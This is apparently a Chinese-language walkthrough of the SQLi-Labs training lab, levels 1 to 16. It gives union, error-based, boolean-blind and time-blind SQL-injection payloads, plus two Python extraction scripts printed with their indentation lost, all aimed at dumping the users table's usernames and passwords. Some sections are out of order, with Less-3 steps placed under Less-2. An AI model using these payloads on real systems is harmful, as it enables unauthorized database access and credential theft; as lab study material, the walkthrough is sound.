Less-1
首先判断一下是字符型还是数字型
?id=1 页面返回正常
?id=1’页面报错,所以我们可以判断出是字符型并且使用单引号进行包裹
判断列数
http://sqlilabs/Less-1/?id=1' order by 3--+
由此可得列数为3列
查看显示位http://sqlilabs/Less-1/?id=-1' union select 1,2,3--+
查看数据库名
http://sqlilabs/Less-1/?id=-1' union select 1,2,database()--+
得到数据库名可以查找表名
?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';-- +
查询数据
http://sqlilabs/Less-1/?id=-1' union select 1,2,group_concat(username ,' ', password) from users--+
Less-2
第二关首先判断是字符型还是数字型
http://sqlilabs/Less-2/?id=1' and'1=1
页面报错,由此可得是数字型
之后爆数据库名,爆表名,爆字段,爆数据步骤方法与第一关相同
order by判断列数
http://sqlilabs/Less-3/?id=1') order by 4--+
联合查询查看回显位
http://sqlilabs/Less-3/?id=-1') union select 1,2,3--+
查看数据库名
http://sqlilabs/Less-3/?id=-1') union select 1,2,database()--+
查看表名
http://sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看字段
http://sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查看数据
http://sqlilabs/Less-3/?id=-1') union select 1,2,group_concat(username,' ',password) from users--+
Less-3
我们先传递参数?id=1’根据报错信息可以猜测sql语句是是单引号字符型且有括号
查看源代码发现参数确实由单引号和括号包裹,那么我们在闭合单引号的同时也需要闭合括号
Less-4
?id=1"
根据页面报错信息得知sql语句是双引号字符型且有括号
查看源代码
之后爆数据库名,爆表名,爆字段,爆数据步骤方法与前几关相同
Less-5
首先判断闭合方式为单引号闭合
同时也发现有报错回显,但是没有数据回显的情况
使用报错函数
?id=1' and extractvalue(1,concat(~,(select user()),~))--+
使用报错函数爆出数据库名
?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+
爆出表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e))--+
爆出字段
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e))--+
爆数据
http://sqlilabs/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,' ',password) from users),0x7e))--+
Less-6
查看源代码,发现是双引号闭合
来到页面,我们发现和第五关一样有报错回显,但是没有数据回显的情况,所以这一关同样使用报错函数来进行注入,与第五关相同
Less-7
当在输入id=1,页面显示you are in…
当我们输入id=1’时显示报错,但是没有报错信息,
当我们输入id=1"时显示正常所以我们可以断定参数id时单引号字符串。
因为然后输入id=1’–+时报错,这时候我们可以输入id=1’)–+发现依然报错,再试试是不是双括号输入id=1’))–+,所以判断出使用单引号和双括号进行闭合的
查看源代码发现使用单引号和双括号进行闭合的
Less-8
判断闭合方式
单引号没有回显
双引号有回显
判断出使用单引号进行闭合
判断列数
id=1' order by 4--+
当3改为4时,you are in…消失,说明存在3列
使用布尔盲注
我们可以使用逻辑判断来逐一爆出数据,使用ascii()函数进行二分法来逐一判断得到数据
首先判断数据库名的第一个字符的范围,之后再逐渐缩小范围直至得到确定数值再转换为字符
1.先判断一下数据库名的长度
id=1' and length(database())=8 --+
先判断数据库名第一个字符是否大于100,可以看到页面有回显所以可以确定它的ascii值大于100
?id=1' and ascii(substr(database(),1,1))>100--+
同样大于110
再来判断是否大于120,我们可以看到页面没有回显说明不大与120,那么目前为止我们可以确定这个值就在110-120之间,之后我们再进行二分法查找,之道最终查找到确定值
在进行几轮判断后我们可以得到一个字符的ascii码值为115,对应字符为’s’
其他字母的查找方式相同
?id=1' and ascii(substr(database(),2,1))>100--+
2.先猜一下表名的长度
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 3,1))>4--+
查询表名也根据上述同样方法,逐一爆出
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),**1**,1))>100--+
其中limit 0,1 意思是查询第一个表
3.
猜字段长度
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 3,1))>4--+
爆字段名同上所述
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),**1**,1))>100--+
4.
猜数据长度
查询数据
?id=1' and ascii(substr((select username from users limit 0,1),**1**,1))>100--+
这样就可以一点一点去猜,我们可以借助python脚本来对数据库名进行一个字母一个字母的输出
# -*- coding:utf-8 -*-
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and ascii(substr(database(),%d,1))> %d-- " % (i, mid)
params = {"id":payload}
r = requests.get(url, params=params)
if 'You are in...........' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://sqlilabs/Less-8/index.php'
inject_database(url)
运行后得到数据库名为security
Less-9
不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合用了,布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时间注入
1.查看源代码,发现是由单引号闭合的
使用时间盲注
2.首先我们可以来查看一下库名的长度,使用
?id=1' and if(length(database())>5,sleep(3),0) --+
逐个检测
判断出库名长度为8
接着判断第一个字符,逐渐缩小范围,直到确定值后再进行下一个字符,直至判断出数据库名称
?id=1' and if(ascii(substr(database(),1,1))>100,sleep(3),0)--+
3.
猜表名长度
注入语句为
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))>4,sleep(5),1)--+
查看表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+
4.
猜列名长度
注入语句为
id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)--+
查看列名
id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)--+
以此类推得到第二个和第三个列名为username和password
5,
猜数据长度
注入语句为
id=1' and if(length((select password from users limit 0,1))>3,sleep(5),1)--+
猜数据
id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)--+
根据原理编写python脚本逐一爆出数据库名
import requests
import time
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
payload = "1' and if(ascii(substr(database(),%d,1))>%d, sleep(2), 0)-- " % (i, mid)
params = {"id":payload}
start_time = time.time()
r = requests.get(url, params=params)
end_time = time.time()
if end_time - start_time >= 1:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://sqlilabs/Less-9/index.php'
inject_database(url)
Less-10
第十关和第九关一样,只是闭合方式变为了双引号。
Less-11
从第十一关开始,变为了post请求
1.判断闭合方式
可以先使用单双引号进行判断
当我提交用户名1’时提示报错信息,可以判断这是一个单引号闭合
查看源代码,发现确实是单引号闭合
2.判断列数
当我提交 1' order by 3 #
页面报错
提交1' order by 2#
成功提交,说明这里列数为2
3.判断回显点
1' union select 1,2#
4.爆数据库名
1' union select 1,database()#
5.爆表名
1'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
6.爆字段
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
7.爆数据
1' union select 1,group_concat(username,' ',password) from users#
Less-12
根据提示信息,闭合方式为双引号加括号,与第十一关不同的就是闭合方式
查看源代码
当我提交 1") order by 3 #页面报错
提交1") order by 2#
成功提交,说明这里列数为2
3.判断回显点
1") union select 1,2#
4.爆数据库名
1") union select 1,database()#
5.爆表名
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#
6.爆字段
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
7.爆数据
1") union select 1,group_concat(username,' ',password) from users#
Less-13
闭合方式为单引号加括号
2.判断列数
当我提交 1') order by 3 #
页面报错
提交1') order by 2#
成功提交,说明这里列数为2
3.判断回显点
1') union select 1,2#
页面返回为空所以使用报错函数
1') and updatexml(1,concat('~',(select user()),'~'),1)#
有回显
4.爆库名
1') and updatexml(1,concat('~',(select database()),'~'),1)#
5.爆表名
1') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'~'),1)#
6.爆字段
1') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'~'),1)#
7.爆数据
1') and updatexml(1,concat('~',(select group_concat(username,' ',password) from users),'~'),1)#
Less-14
第十四关与第十三关相似,都要使用报错函数,不同的是闭合方式
第十四关的闭合方式为双引号
根据报错信息可以发现闭合方式为双引号
可以查看源代码,查看闭合方式
Less-15
虽然没有数据回显,但是有页面的图标可以判断语句是否正确
1' or 1=1#
返回正确页面
1'
返回错误页面
这样我们就可以选择布尔盲注的方法
首先确定闭合方式为单引号
时间注入
2.首先我们可以来查看一下库名的长度,使用
admin' and if(length(database())>5,sleep(3),0)#
逐个检测
判断出库名长度为8
接着判断第一个字符,逐渐缩小范围,直到确定值后再进行下一个字符,直至判断出数据库名称
admin' and if(ascii(substr(database(),1,1))>100,sleep(3),0)#
3.
猜表名长度
注入语句为
admin' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))>4,sleep(5),1)#
查看表名
admin' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)#
4.
猜列名长度
注入语句为
admin' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)#
查看列名
admin' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)#
以此类推得到第二个和第三个列名为username和password
5,
猜数据长度
注入语句为
admin' and if(length((select password from users limit 0,1))>3,sleep(5),1)#
猜数据
admin' and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)#
Less-16
与十五关类似,只是闭合点不同
十六关闭合方式为双引号加括号
猜闭合方式admin' and 1=1#
页面报错
admin" and 1=1#
页面报错
admin') and 1=1#
页面报错
admin") and 1=1#
页面正常
所以我们可以判断出闭合方式为双引号加括号,其他注入手法与第十五关相同